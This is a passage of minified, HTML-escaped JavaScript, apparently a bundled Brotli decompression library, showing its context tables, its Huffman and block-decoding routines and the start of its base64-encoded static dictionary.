Uint8Array([0,0,0,0,0,0,0,0,0,4,4,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,12,12,20,12,16,24,28,12,12,32,12,36,12,44,44,44,44,44,44,44,44,44,44,32,32,24,40,28,12,12,48,52,52,52,48,52,52,52,48,52,52,52,52,52,48,52,52,52,52,52,48,52,52,52,52,52,24,12,28,12,12,12,56,60,60,60,56,60,60,60,56,60,60,60,60,60,56,60,60,60,60,60,56,60,60,60,60,60,24,12,28,12,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,2,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,56,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,12,12,12,12,13,13,13,13,14,14,14,14,15,15,15,15,16,16,16,16,17,17,17,17,18,18,18,18,19,19,19,19,20,20,20,20,21,21,21,21,22,22,22,22,23,23,23,23,24,24,24,24,25,25,25,25,26,26,26,26,27,27,27,27,28,28,28,28,29,29,29,29,30,30,30,30,31,31,31,31,32,32,32,32,33,33,33,33,34,34,34,34,35,35,35,35,36,36,36,36,37,37,37,37,38,38,38,38,39,39,39,39,40,40,40,40,41,41,41,41,42,42,42,42,43,43,43,43,44,44,44,44,45,45,45,45,46,46,46,46,47,47,47,47,48,48,48,48,49,49,49,49,50,50,50,50,51,51,51,51,52,52,52,52,53,53,53,53,54,54,54,54,55,55,55,55,56,56,56,56,57,57,57,57,58,58,58,58,59,59,59,59,60,60,60,60,61,61,61,61,62,62,62,62,63,63,63,63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]),i.lookupOffsets=new Uint16Array([1024,1536,1280,1536,0,256,768,512])},{}],3:[function(o,n,i){var a=o(&quot;./streams&quot;).BrotliInput,l=o(&quot;./streams&quot;).BrotliOutput,c=o(&quot;./bit_reader&quot;),u=o(&quot;./dictionary&quot;),d=o(&quot;./huffman&quot;).HuffmanCode,f=o(&quot;./huffman&quot;).BrotliBuildHuffmanTable,m=o(&quot;./context&quot;),h=o(&quot;./prefix&quot;),g=o(&quot;./transform&quot;),v=8,y=16,b=256,_=704,S=26,x=6,T=2,R=8,F=255,B=1080,z=18,L=new Uint8Array([1,2,3,4,0,5,17,6,16,7,8,9,10,11,12,13,14,15]),M=16,k=new Uint8Array([3,2,1,0,3,3,3,3,3,3,2,2,2,2,2,2]),I=new Int8Array([0,0,0,0,-1,1,-2,2,-3,3,-1,1,-2,2,-3,3]),U=new Uint16Array([256,402,436,468,500,534,566,598,630,662,694,726,758,790,822,854,886,920,952,984,1016,1048,1080]);function G(le){var J;return le.readBits(1)===0?16:(J=le.readBits(3),J&gt;0?17+J:(J=le.readBits(3),J&gt;0?8+J:17))}function Y(le){if(le.readBits(1)){var J=le.readBits(3);return J===0?1:le.readBits(J)+(1&lt;&lt;J)}return 0}function Z(){this.meta_block_length=0,this.input_end=0,this.is_uncompressed=0,this.is_metadata=!1}function V(le){var J=new Z,ie,ee,se;if(J.input_end=le.readBits(1),J.input_end&amp;&amp;le.readBits(1))return J;if(ie=le.readBits(2)+4,ie===7){if(J.is_metadata=!0,le.readBits(1)!==0)throw new Error(&quot;Invalid reserved bit&quot;);if(ee=le.readBits(2),ee===0)return J;for(se=0;se&lt;ee;se++){var Ue=le.readBits(8);if(se+1===ee&amp;&amp;ee&gt;1&amp;&amp;Ue===0)throw new Error(&quot;Invalid size byte&quot;);J.meta_block_length|=Ue&lt;&lt;se*8}}else for(se=0;se&lt;ie;++se){var ke=le.readBits(4);if(se+1===ie&amp;&amp;ie&gt;4&amp;&amp;ke===0)throw new Error(&quot;Invalid size nibble&quot;);J.meta_block_length|=ke&lt;&lt;se*4}return++J.meta_block_length,!J.input_end&amp;&amp;!J.is_metadata&amp;&amp;(J.is_uncompressed=le.readBits(1)),J}function j(le,J,ie){var ee=J,se;return ie.fillBitWindow(),J+=ie.val_&gt;&gt;&gt;ie.bit_pos_&amp;F,se=le[J].bits-R,se&gt;0&amp;&amp;(ie.bit_pos_+=R,J+=le[J].value,J+=ie.val_&gt;&gt;&gt;ie.bit_pos_&amp;(1&lt;&lt;se)-1),ie.bit_pos_+=le[J].bits,le[J].value}function H(le,J,ie,ee){for(var se=0,Ue=v,ke=0,Be=0,Je=32768,Fe=[],Se=0;Se&lt;32;Se++)Fe.push(new d(0,0));for(f(Fe,0,5,le,z);se&lt;J&amp;&amp;Je&gt;0;){var yt=0,Jr;if(ee.readMoreInput(),ee.fillBitWindow(),yt+=ee.val_&gt;&gt;&gt;ee.bit_pos_&amp;31,ee.bit_pos_+=Fe[yt].bits,Jr=Fe[yt].value&amp;255,Jr&lt;y)ke=0,ie[se++]=Jr,Jr!==0&amp;&amp;(Ue=Jr,Je-=32768&gt;&gt;Jr);else{var bn=Jr-14,Sn,Zo,Sr=0;if(Jr===y&amp;&amp;(Sr=Ue),Be!==Sr&amp;&amp;(ke=0,Be=Sr),Sn=ke,ke&gt;0&amp;&amp;(ke-=2,ke&lt;&lt;=bn),ke+=ee.readBits(bn)+3,Zo=ke-Sn,se+Zo&gt;J)throw new Error(&quot;[ReadHuffmanCodeLengths] symbol + repeat_delta &gt; num_symbols&quot;);for(var Ko=0;Ko&lt;Zo;Ko++)ie[se+Ko]=Be;se+=Zo,Be!==0&amp;&amp;(Je-=Zo&lt;&lt;15-Be)}}if(Je!==0)throw new Error(&quot;[ReadHuffmanCodeLengths] space = &quot;+Je);for(;se&lt;J;se++)ie[se]=0}function X(le,J,ie,ee){var se=0,Ue,ke=new Uint8Array(le);if(ee.readMoreInput(),Ue=ee.readBits(2),Ue===1){for(var Be,Je=le-1,Fe=0,Se=new Int32Array(4),yt=ee.readBits(2)+1;Je;)Je&gt;&gt;=1,++Fe;for(Be=0;Be&lt;yt;++Be)Se[Be]=ee.readBits(Fe)%le,ke[Se[Be]]=2;switch(ke[Se[0]]=1,yt){case 1:break;case 3:if(Se[0]===Se[1]||Se[0]===Se[2]||Se[1]===Se[2])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);break;case 2:if(Se[0]===Se[1])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);ke[Se[1]]=1;break;case 4:if(Se[0]===Se[1]||Se[0]===Se[2]||Se[0]===Se[3]||Se[1]===Se[2]||Se[1]===Se[3]||Se[2]===Se[3])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);ee.readBits(1)?(ke[Se[2]]=3,ke[Se[3]]=3):ke[Se[0]]=2;break}}else{var Be,Jr=new Uint8Array(z),bn=32,Sn=0,Zo=[new d(2,0),new d(2,4),new d(2,3),new d(3,2),new d(2,0),new d(2,4),new d(2,3),new d(4,1),new d(2,0),new d(2,4),new d(2,3),new d(3,2),new d(2,0),new d(2,4),new d(2,3),new d(4,5)];for(Be=Ue;Be&lt;z&amp;&amp;bn&gt;0;++Be){var Sr=L[Be],Ko=0,_n;ee.fillBitWindow(),Ko+=ee.val_&gt;&gt;&gt;ee.bit_pos_&amp;15,ee.bit_pos_+=Zo[Ko].bits,_n=Zo[Ko].value,Jr[Sr]=_n,_n!==0&amp;&amp;(bn-=32&gt;&gt;_n,++Sn)}if(!(Sn===1||bn===0))throw new Error(&quot;[ReadHuffmanCode] invalid num_codes or space&quot;);H(Jr,le,ke,ee)}if(se=f(J,ie,R,ke,le),se===0)throw new Error(&quot;[ReadHuffmanCode] BuildHuffmanTable failed: &quot;);return se}function ae(le,J,ie){var ee,se;return ee=j(le,J,ie),se=h.kBlockLengthPrefixCode[ee].nbits,h.kBlockLengthPrefixCode[ee].offset+ie.readBits(se)}function ne(le,J,ie){var ee;return le&lt;M?(ie+=k[le],ie&amp;=3,ee=J[ie]+I[le]):ee=le-M+1,ee}function ue(le,J){for(var ie=le[J],ee=J;ee;--ee)le[ee]=le[ee-1];le[0]=ie}function Ye(le,J){var ie=new Uint8Array(256),ee;for(ee=0;ee&lt;256;++ee)ie[ee]=ee;for(ee=0;ee&lt;J;++ee){var se=le[ee];le[ee]=ie[se],se&amp;&amp;ue(ie,se)}}function ye(le,J){this.alphabet_size=le,this.num_htrees=J,this.codes=new Array(J+J*U[le+31&gt;&gt;&gt;5]),this.htrees=new Uint32Array(J)}ye.prototype.decode=function(le){var J,ie,ee=0;for(J=0;J&lt;this.num_htrees;++J)this.htrees[J]=ee,ie=X(this.alphabet_size,this.codes,ee,le),ee+=ie};function oe(le,J){var ie={num_htrees:null,context_map:null},ee,se=0,Ue,ke;J.readMoreInput();var Be=ie.num_htrees=Y(J)+1,Je=ie.context_map=new Uint8Array(le);if(Be&lt;=1)return ie;for(ee=J.readBits(1),ee&amp;&amp;(se=J.readBits(4)+1),Ue=[],ke=0;ke&lt;B;ke++)Ue[ke]=new d(0,0);for(X(Be+se,Ue,0,J),ke=0;ke&lt;le;){var Fe;if(J.readMoreInput(),Fe=j(Ue,0,J),Fe===0)Je[ke]=0,++ke;else if(Fe&lt;=se)for(var Se=1+(1&lt;&lt;Fe)+J.readBits(Fe);--Se;){if(ke&gt;=le)throw new Error(&quot;[DecodeContextMap] i &gt;= context_map_size&quot;);Je[ke]=0,++ke}else Je[ke]=Fe-se,++ke}return J.readBits(1)&amp;&amp;Ye(Je,le),ie}function ge(le,J,ie,ee,se,Ue,ke){var Be=ie*2,Je=ie,Fe=j(J,ie*B,ke),Se;Fe===0?Se=se[Be+(Ue[Je]&amp;1)]:Fe===1?Se=se[Be+(Ue[Je]-1&amp;1)]+1:Se=Fe-2,Se&gt;=le&amp;&amp;(Se-=le),ee[ie]=Se,se[Be+(Ue[Je]&amp;1)]=Se,++Ue[Je]}function Re(le,J,ie,ee,se,Ue){var ke=se+1,Be=ie&amp;se,Je=Ue.pos_&amp;c.IBUF_MASK,Fe;if(J&lt;8||Ue.bit_pos_+(J&lt;&lt;3)&lt;Ue.bit_end_pos_){for(;J-- &gt;0;)Ue.readMoreInput(),ee[Be++]=Ue.readBits(8),Be===ke&amp;&amp;(le.write(ee,ke),Be=0);return}if(Ue.bit_end_pos_&lt;32)throw new Error(&quot;[CopyUncompressedBlockToOutput] br.bit_end_pos_ &lt; 32&quot;);for(;Ue.bit_pos_&lt;32;)ee[Be]=Ue.val_&gt;&gt;&gt;Ue.bit_pos_,Ue.bit_pos_+=8,++Be,--J;if(Fe=Ue.bit_end_pos_-Ue.bit_pos_&gt;&gt;3,Je+Fe&gt;c.IBUF_MASK){for(var Se=c.IBUF_MASK+1-Je,yt=0;yt&lt;Se;yt++)ee[Be+yt]=Ue.buf_[Je+yt];Fe-=Se,Be+=Se,J-=Se,Je=0}for(var yt=0;yt&lt;Fe;yt++)ee[Be+yt]=Ue.buf_[Je+yt];if(Be+=Fe,J-=Fe,Be&gt;=ke){le.write(ee,ke),Be-=ke;for(var yt=0;yt&lt;Be;yt++)ee[yt]=ee[ke+yt]}for(;Be+J&gt;=ke;){if(Fe=ke-Be,Ue.input_.read(ee,Be,Fe)&lt;Fe)throw new Error(&quot;[CopyUncompressedBlockToOutput] not enough bytes&quot;);le.write(ee,ke),J-=Fe,Be=0}if(Ue.input_.read(ee,Be,J)&lt;J)throw new Error(&quot;[CopyUncompressedBlockToOutput] not enough bytes&quot;);Ue.reset()}function ze(le){var J=le.bit_pos_+7&amp;-8,ie=le.readBits(J-le.bit_pos_);return ie==0}function Ve(le){var J=new a(le),ie=new c(J);G(ie);var ee=V(ie);return ee.meta_block_length}i.BrotliDecompressedSize=Ve;function tt(le,J){var ie=new a(le);J==null&amp;&amp;(J=Ve(le));var ee=new Uint8Array(J),se=new l(ee);return vt(ie,se),se.pos&lt;se.buffer.length&amp;&amp;(se.buffer=se.buffer.subarray(0,se.pos)),se.buffer}i.BrotliDecompressBuffer=tt;function vt(le,J){var ie,ee=0,se=0,Ue=0,ke,Be=0,Je,Fe,Se,yt,Jr=[16,15,11,4],bn=0,Sn=0,Zo=0,Sr=[new ye(0,0),new ye(0,0),new ye(0,0)],Ko,_n,Ke,Sv=128+c.READ_SIZE;Ke=new c(le),Ue=G(Ke),ke=(1&lt;&lt;Ue)-16,Je=1&lt;&lt;Ue,Fe=Je-1,Se=new Uint8Array(Je+Sv+u.maxDictionaryWordLength),yt=Je,Ko=[],_n=[];for(var Um=0;Um&lt;3*B;Um++)Ko[Um]=new d(0,0),_n[Um]=new d(0,0);for(;!se;){var Vr=0,x1,Wi=[1&lt;&lt;28,1&lt;&lt;28,1&lt;&lt;28],xa=[0],Ci=[1,1,1],q=[0,1,0,1,0,1],fe=[0],P,be,jt,me,wn=null,ve=null,_r,Q=null,K,Bd=0,It=null,Pe=0,Md=0,Ld=null,lr=0,at=0,jr=0,zr,fo;for(ie=0;ie&lt;3;++ie)Sr[ie].codes=null,Sr[ie].htrees=null;Ke.readMoreInput();var _l=V(Ke);if(Vr=_l.meta_block_length,ee+Vr&gt;J.buffer.length){var Vd=new Uint8Array(ee+Vr);Vd.set(J.buffer),J.buffer=Vd}if(se=_l.input_end,x1=_l.is_uncompressed,_l.is_metadata){for(ze(Ke);Vr&gt;0;--Vr)Ke.readMoreInput(),Ke.readBits(8);continue}if(Vr!==0){if(x1){Ke.bit_pos_=Ke.bit_pos_+7&amp;-8,Re(J,Vr,ee,Se,Fe,Ke),ee+=Vr;continue}for(ie=0;ie&lt;3;++ie)Ci[ie]=Y(Ke)+1,Ci[ie]&gt;=2&amp;&amp;(X(Ci[ie]+2,Ko,ie*B,Ke),X(S,_n,ie*B,Ke),Wi[ie]=ae(_n,ie*B,Ke),fe[ie]=1);for(Ke.readMoreInput(),P=Ke.readBits(2),be=M+(Ke.readBits(4)&lt;&lt;P),jt=(1&lt;&lt;P)-1,me=be+(48&lt;&lt;P),ve=new Uint8Array(Ci[0]),ie=0;ie&lt;Ci[0];++ie)Ke.readMoreInput(),ve[ie]=Ke.readBits(2)&lt;&lt;1;var cr=oe(Ci[0]&lt;&lt;x,Ke);_r=cr.num_htrees,wn=cr.context_map;var xn=oe(Ci[2]&lt;&lt;T,Ke);for(K=xn.num_htrees,Q=xn.context_map,Sr[0]=new ye(b,_r),Sr[1]=new ye(_,Ci[1]),Sr[2]=new ye(me,K),ie=0;ie&lt;3;++ie)Sr[ie].decode(Ke);for(It=0,Ld=0,zr=ve[xa[0]],at=m.lookupOffsets[zr],jr=m.lookupOffsets[zr+1],fo=Sr[1].htrees[0];Vr&gt;0;){var wr,Cn,Yn,Hm,tR,qn,Ti,wl,_v,Gm,wv;for(Ke.readMoreInput(),Wi[1]===0&amp;&amp;(ge(Ci[1],Ko,1,xa,q,fe,Ke),Wi[1]=ae(_n,B,Ke),fo=Sr[1].htrees[xa[1]]),--Wi[1],wr=j(Sr[1].codes,fo,Ke),Cn=wr&gt;&gt;6,Cn&gt;=2?(Cn-=2,Ti=-1):Ti=0,Yn=h.kInsertRangeLut[Cn]+(wr&gt;&gt;3&amp;7),Hm=h.kCopyRangeLut[Cn]+(wr&amp;7),tR=h.kInsertLengthPrefixCode[Yn].offset+Ke.readBits(h.kInsertLengthPrefixCode[Yn].nbits),qn=h.kCopyLengthPrefixCode[Hm].offset+Ke.readBits(h.kCopyLengthPrefixCode[Hm].nbits),Sn=Se[ee-1&amp;Fe],Zo=Se[ee-2&amp;Fe],Gm=0;Gm&lt;tR;++Gm)Ke.readMoreInput(),Wi[0]===0&amp;&amp;(ge(Ci[0],Ko,0,xa,q,fe,Ke),Wi[0]=ae(_n,0,Ke),Bd=xa[0]&lt;&lt;x,It=Bd,zr=ve[xa[0]],at=m.lookupOffsets[zr],jr=m.lookupOffsets[zr+1]),_v=m.lookup[at+Sn]|m.lookup[jr+Zo],Pe=wn[It+_v],--Wi[0],Zo=Sn,Sn=j(Sr[0].codes,Sr[0].htrees[Pe],Ke),Se[ee&amp;Fe]=Sn,(ee&amp;Fe)===Fe&amp;&amp;J.write(Se,Je),++ee;if(Vr-=tR,Vr&lt;=0)break;if(Ti&lt;0){var _v;if(Ke.readMoreInput(),Wi[2]===0&amp;&amp;(ge(Ci[2],Ko,2,xa,q,fe,Ke),Wi[2]=ae(_n,2*B,Ke),Md=xa[2]&lt;&lt;T,Ld=Md),--Wi[2],_v=(qn&gt;4?3:qn-2)&amp;255,lr=Q[Ld+_v],Ti=j(Sr[2].codes,Sr[2].htrees[lr],Ke),Ti&gt;=be){var rR,wF,xv;Ti-=be,wF=Ti&amp;jt,Ti&gt;&gt;=P,rR=(Ti&gt;&gt;1)+1,xv=(2+(Ti&amp;1)&lt;&lt;rR)-4,Ti=be+(xv+Ke.readBits(rR)&lt;&lt;P)+wF}}if(wl=ne(Ti,Jr,bn),wl&lt;0)throw new Error(&quot;[BrotliDecompress] invalid distance&quot;);if(ee&lt;ke&amp;&amp;Be!==ke?Be=ee:Be=ke,wv=ee&amp;Fe,wl&gt;Be)if(qn&gt;=u.minDictionaryWordLength&amp;&amp;qn&lt;=u.maxDictionaryWordLength){var xv=u.offsetsByLength[qn],xF=wl-Be-1,CF=u.sizeBitsByLength[qn],oae=(1&lt;&lt;CF)-1,nae=xF&amp;oae,TF=xF&gt;&gt;CF;if(xv+=nae*qn,TF&lt;g.kNumTransforms){var oR=g.transformDictionaryWord(Se,wv,xv,qn,TF);if(wv+=oR,ee+=oR,Vr-=oR,wv&gt;=yt){J.write(Se,Je);for(var C1=0;C1&lt;wv-yt;C1++)Se[C1]=Se[yt+C1]}}else throw new Error(&quot;Invalid backward reference. pos: &quot;+ee+&quot; distance: &quot;+wl+&quot; len: &quot;+qn+&quot; bytes left: &quot;+Vr)}else throw new Error(&quot;Invalid backward reference. pos: &quot;+ee+&quot; distance: &quot;+wl+&quot; len: &quot;+qn+&quot; bytes left: &quot;+Vr);else{if(Ti&gt;0&amp;&amp;(Jr[bn&amp;3]=wl,++bn),qn&gt;Vr)throw new Error(&quot;Invalid backward reference. pos: &quot;+ee+&quot; distance: &quot;+wl+&quot; len: &quot;+qn+&quot; bytes left: &quot;+Vr);for(Gm=0;Gm&lt;qn;++Gm)Se[ee&amp;Fe]=Se[ee-wl&amp;Fe],(ee&amp;Fe)===Fe&amp;&amp;J.write(Se,Je),++ee,--Vr}Sn=Se[ee-1&amp;Fe],Zo=Se[ee-2&amp;Fe]}ee&amp;=1073741823}}J.write(Se,ee&amp;Fe)}i.BrotliDecompress=vt,u.init()},{&quot;./bit_reader&quot;:1,&quot;./context&quot;:2,&quot;./dictionary&quot;:6,&quot;./huffman&quot;:7,&quot;./prefix&quot;:9,&quot;./streams&quot;:10,&quot;./transform&quot;:11}],4:[function(o,n,i){var a=o(&quot;base64-js&quot;);i.init=function(){var l=o(&quot;./decode&quot;).BrotliDecompressBuffer,c=a.toByteArray(o(&quot;./dictionary.bin.js&quot;));return l(c)}},{&quot;./decode&quot;:3,&quot;./dictionary.bin.js&quot;:5,&quot;base64-js&quot;:8}],5:[function(o,n,i){n.exports=&quot;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